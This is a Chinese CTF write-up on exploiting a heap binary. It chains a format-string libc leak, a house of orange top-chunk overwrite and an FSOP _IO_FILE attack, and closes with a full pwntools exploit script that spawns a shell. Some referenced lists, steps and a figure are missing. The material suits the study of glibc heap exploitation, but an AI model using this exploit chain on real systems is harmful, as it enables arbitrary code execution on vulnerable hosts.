主程序是一个菜单,只有两个选项。一个是create,另一个是show。没有关于free的函数,所以可能会用到house of orange的技术来创造一个unsorted bin。
int play()
{
int choice; // eax
int result; // eax
help();
choice = get_choice();
if ( choice == 2 )
return show();
if ( choice == 3 )
exit(0);
if ( choice == 1 )
result = create();
else
result = write(1, "Sorry,Incorrect choice!\n", 0x18uLL);
return result;
}
create函数能malloc一个不超过0x1000的堆块,并在bss端上记录这个指针。然后用gets向这个堆块中读入内容。
__int64 create()
{
size_t size; // [rsp+Ch] [rbp-4h]
printf("size: ");
LODWORD(size) = read_num();
if ( (unsigned int)size > 0x1000 )
{
puts("too long");
exit(1);
}
buffer = malloc((unsigned int)size);
printf("string: ");
return gets(buffer); // 不限制长度,接收到\n为止,再把\n转换为\x00
}
show函数中有格式化字符串漏洞。buffer就是我们申请堆块的指针,其中的内容我们能控制。但是由于是用gets读入的,遇到\n(0xa0)就会截断,所以不能用来做任意地址写。但是我们可以较容易地泄漏出传参寄存器和栈上的数据。
int show()
{
printf("result: ");
return printf(buffer); // 格式化字符串
}
由于开启了PIE和ASLR,下文中的地址可能不统一,但是后三位是准确的。
一个典型的house of orange。首先我们要泄漏出libc的基址。这里就用show()中的格式化字符串漏洞来泄漏出libc。
在call printf的地方下断点,可以看到rdx寄存器的值在libc上,和libc的基址呈一个固定的offset。众所周知,64位程序调用函数传参数的过程中,函数前6个参数依次保存在rdi、rsi、rdx、rcx、r8和r9寄存器中,之后的参数才会保存在栈中。
RDX 0x7f3cdb1b8780 (_IO_stdfile_1_lock) ◂— 0x0
所以这个我们可以用
printf("%2$p")
来泄漏出rdx寄存器中的值。回顾一下%p:输出16进制数据,与%x基本一样,只是附加了前缀0x,在32bit下输出4字节,在64bit下输出8字节,可通过输出字节的长度来判断目标环境是32bit还是64bit。"2$"来规定偏移。
由于这个程序中没有free函数,所以我们用house of orange的技术来获得一个unsorted bin。我们通过溢出来修改top chunk的size。并申请一个大于修改过的top chunk size大小的堆块,这样top chunk就会进入unsorted bin。但是需要满足一些要求:
之后原有的 top chunk 就会执行_int_free从而顺利进入 unsorted bin 中。
0x563efe6ea000: 0x0000000000000000 0x0000000000000021
0x563efe6ea010: 0x0000000070243225 0x0000000000000000
0x563efe6ea020: 0x0000000000000000 0x0000000000000021
0x563efe6ea030: 0x0000000000000000 0x0000000000000000
0x563efe6ea040: 0x0000000000000000 0x0000000000020fc1
0x563efe6ea020是我们新申请用来溢出的chunk。为了满足top chunk的内存页0x1000对齐的要求,我们可以把top chunk size的修改为0xfc1。
完成house of orange之后,可以看到unsorted bin中多了
unsortedbin
all: 0x558e4d5dc040 —▸ 0x7fee8d8bfb78 (main_arena+88) ◂— 0x558e4d5dc040
接下来就是利用_IO_FILE attack来get shell,这块部分我先给出代码,再根据代码来进行讲解。
#FSOP
payload = "e"*0x100
fake_file = "\x00"*8 + p64(0x61) # to small bin(0x60) _IO_list_all->_IO_FILE->_chain 指向 small_bin(0x60)
fake_file += p64(0x0) + p64(_IO_list_all_addr-0x10) #unsorted bin attack make _IO_list_all = &main_arena + 88
fake_file += p64(0x1) + p64(0x2) #_IO_write_base < _IO_write_ptr
fake_file += p64(0x0) + p64(bin_sh_addr) #_IO_buf_base = bin_sh_addr
fake_file = fake_file.ljust(0xd8, "\x00") #mode<=0
fake_file += p64(_IO_str_jump_addr-0x8) #vtable=_IO_str_jump-0x8 make 调用io_overflow变成调用str_finish
fake_file += p64(0x0)
fake_file += p64(system_addr)
payload += fake_file
create(0x100, payload)
这里create了一个0x100的堆块,并进行了溢出。
这里我们回顾一下malloc大循环中(遍历unsorted bin)的流程。
if (__builtin_expect (chunksize_nomask (victim) <= 2 * SIZE_SZ, 0)
|| __builtin_expect (chunksize_nomask (victim)
> av->system_mem, 0))
malloc_printerr (check_action, "malloc(): memory corruption",
chunk2mem (victim), av);
if (in_smallbin_range (nb) &&
bck == unsorted_chunks (av) &&
victim == av->last_remainder &&
(unsigned long) (size) > (unsigned long) (nb + MINSIZE))
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);
执行create(0x100, payload)之后我们能看到unsorted bin中的chunk结构已经被改变了。bins中显示,这个时候unsorted bin链表结构已经被破坏。
unsortedbin
all [corrupted]
FD: 0x55e8b28ee150 ◂— 0x0
BK: 0x55e8b28ee150 —▸ 0x7f1b1fbc0510 ◂— 0x0
知道了这个流程之后,我们看看接下来如果在申请一个chunk会怎么样(size不能是0x50)。假设我们申请一个0x20的chunk。
执行到步骤3进行判断,由于此时bck,已经被我们修改成_IO_list_all-0x10,所以bck == unsorted_chunks (av)不能通过。
进入4,把victim从victim从unsorted bin中摘下。注意
bck->fd = unsorted_chunks (av);
执行完之后_IO_list_all就指向了unsorted bin,也就是main_arena+88
步骤5跳过。
进入步骤6,由于我们把victim的size覆盖成了0x61,victim就会落入small bin(0x60)中。这里为什么要把victim放入0x60的bins中呢?这是因为_IO_FILE的_chain域的偏移是0x78,small bins的bk地址距离unsorted bin的偏移也是0x78。
再进入步骤1, victim = unsorted_chunks (av)->bk = bck现在是_IO_list_all-0x10的地址。
0x7f1b1fbc0510: 0x0000000000000000 0x0000000000000000
0x7f1b1fbc0520 <_IO_list_all>: 0x00007f1b1fbc0540 0x0000000000000000
进入步骤2,因为size=0,没有通过检验,执行printerr,如下图所示,触发abort,接着调用_IO_flush_all_lockp,从_IO_list_all指针开始,对每个_IO_FILE_plus结构调用flush函数,其中主要根据vtable来调用OVERFLOW。
因为之前的巧妙布置,_chain域的跳转就来到了我们自己布置的_IO_FILE_plus中来了。
fake_file = "\x00"*8 + p64(0x61) # to small bin(0x60) _IO_list_all->_IO_FILE->_chain 指向 small_bin(0x60)
fake_file += p64(0x0) + p64(_IO_list_all_addr-0x10) #unsorted bin attack make _IO_list_all = &main_arena + 88
fake_file += p64(0x1) + p64(0x2) #_IO_write_base < _IO_write_ptr
fake_file += p64(0x0) + p64(bin_sh_addr) #_IO_buf_base = bin_sh_addr
fake_file = fake_file.ljust(0xd8, "\x00") #mode<=0
fake_file += p64(_IO_str_jump_addr-0x8) #vtable=_IO_str_jump-0x8 make 调用io_overflow变成调用str_finish
fake_file += p64(0x0)
fake_file += p64(system_addr)
这中间具体的为什么要这么步骤由于篇幅的原因就不讲了。可以参考下面两个链接,讲的很详细。
https://www.anquanke.com/post/id/168802#h3-6
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/io_file/exploit-in-libc2.24-zh/
这里就说一下几个要注意的地方。
#coding=utf-8
from pwn import *
io = process("./pwn")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
context.log_level = "debug"
context.terminal = ["/usr/bin/tmux", "splitw", "-h", "-p", "70"]
def create(size, content):
io.recvuntil("3:exit\n")
io.sendline("1")
io.recvuntil("size: ") # 限制 size<=0x1000
io.sendline(str(size))
io.recvuntil("string: ")
io.sendline(content)
def show():
io.recvuntil("3:exit\n")
io.sendline("2")
io.recvuntil("result: ")
#leak libc by format string attack
create(0x10, "%2$p")
show()
libc_addr = int(io.recvuntil("\n")[:-1], 16) - 0x3c6780
print("libc address:" + hex(libc_addr))
system_addr = libc_addr + libc.symbols["system"]
bin_sh_addr = libc_addr + libc.search("/bin/sh").next()
_IO_list_all_addr = libc_addr + libc.symbols["_IO_list_all"]
_IO_str_jump_addr = libc_addr + 0x3C37A0
#house of orange
payload = "a"*0x18 + p64(0xfc1)
create(0x10, payload)
create(0x1000, "a")
#FSOP
payload = "e"*0x100
fake_file = "\x00"*8 + p64(0x61) # to small bin(0x60) _IO_list_all->_IO_FILE->_chain 指向 small_bin(0x60)
fake_file += p64(0x0) + p64(_IO_list_all_addr-0x10) #unsorted bin attack make _IO_list_all = &main_arena + 88
fake_file += p64(0x1) + p64(0x2) #_IO_write_base < _IO_write_ptr
fake_file += p64(0x0) + p64(bin_sh_addr) #_IO_buf_base = bin_sh_addr
fake_file = fake_file.ljust(0xd8, "\x00") #mode<=0
fake_file += p64(_IO_str_jump_addr-0x8) #vtable=_IO_str_jump-0x8 make 调用io_overflow变成调用str_finish
fake_file += p64(0x0)
fake_file += p64(system_addr)
payload += fake_file
create(0x100, payload)
gdb.attach(io)
io.recvuntil("3:exit\n")
io.sendline("1")
io.recvuntil("size: ")
io.sendline("32")
#gdb.attach(io)
io.interactive()